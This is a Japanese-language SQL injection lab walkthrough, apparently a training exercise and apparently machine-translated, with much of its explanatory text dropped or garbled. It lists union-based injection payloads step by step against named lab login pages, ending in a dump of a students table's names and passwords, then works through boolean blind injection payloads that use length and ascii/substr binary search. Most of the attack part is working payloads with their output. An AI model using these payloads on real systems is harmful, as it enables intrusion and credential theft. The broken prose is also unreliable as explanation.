union連合注入及びsql盲注実戦
3970 ワード
タスク1----はいhttp://yun.zhiliaotang.com:40008/login.html連合注入攻撃を行う
手順は次のとおりです.
1.注入点が存在するか否かを判断する
2.判定フィールド
3.判定出力位置
4.爆庫名
5.爆表名
6.爆発フィールド名
7.studentsテーブルのデータの取得
開拓任務------対http://yun.zhiliaotang.com:40006/userlogin.php sqlブラインド注を行う(ブールベースのブラインド注)
手順は次のとおりです.
1.注入点が存在するか、文字型かデジタル型かを判断する
2.現在のデータベース名の長さを推測
3.現在のデータベース名を推測する(ここでは二分法でデータベース名を推測する)
4.データベース内のテーブル名の推測
5.クイズ表のフィールド名
手順は次のとおりです.
1.注入点が存在するか否かを判断する
:
1. 1' //
2. 1' or 1=1 -- //
3. 1' or 1=2 -- //
user
2.判定フィールド
:
1. 1' or 1=1 order by 1 -- //
2. 1' or 1=1 order by 2 -- //
3. 1' or 1=1 order by 3 -- //
4. 1' or 1=1 order by 4 -- //
3
3.判定出力位置
:
1. 1' union select 1,2,3 -- //
2
4.爆庫名
:
1. 1' union select 1,database(),3 -- // grade
*******************************************************************************
*******************************************************************************
*******************************************************************************
, http post , tamperdata post 。
5.爆表名
:
1. tamperdata 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='grade'),3--
// admins,classes,english,networks,students,teachers
6.爆発フィールド名
:
1. tamperdata 1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='students'),3--
// id,name,pass
7.studentsテーブルのデータの取得
:
1. tamperdata 1' union select 1,(select group_concat(id,name,pass) from grade.students),3 --
//
3001yizyi001,
3002erzer002,
3003sanzsan003,
3004sizsi004,
3005wuzwu005,
3006liuzliu006,
3007qizqi007,
3008bazba008,
3009jiuzjiu009,
3010shizshi010
開拓任務------対http://yun.zhiliaotang.com:40006/userlogin.php sqlブラインド注を行う(ブールベースのブラインド注)
手順は次のとおりです.
1.注入点が存在するか、文字型かデジタル型かを判断する
:
1. 1' //
2. 1' or 1=1# //
3. 1' or 1=2# //
sql , 。
2.現在のデータベース名の長さを推測
:
1. 1' or length(database())=1 #
2. 1' or length(database())=2 #
3. 1' or length(database())=3 #
4. 1' or length(database())=4 #
`
`
`
`
9. 1' or length(database())=9 #
9.
3.現在のデータベース名を推測する(ここでは二分法でデータベース名を推測する)
1. 1' or ascii(substr(database(),1,1))>97#
2. 1' or ascii(substr(database(),1,1))<97#
3. 1' or ascii(substr(database(),1,1))>110#
4. 1' or ascii(substr(database(),1,1))<110#
5. 1' or ascii(substr(database(),1,1))>103#
6. 1' or ascii(substr(database(),1,1))<103#
g
guestbook
*******************************************************************************
*******************************************************************************
*******************************************************************************
, http post , tamperdata post 。
4.データベース内のテーブル名の推測
4.1 :
4.1.1. 1’ or (select count (table_name) from information_schema.tables where table_schema=database())=1 # //
4.1.2. 1’ or (select count (table_name) from information_schema.tables where table_schema=database())=1 # //
4.2 ( )
4.2.1.
1). 1’ or length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#
, 7 4
4.2.2. ( )
1). 1’ or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
message user
5.クイズ表のフィールド名
, 。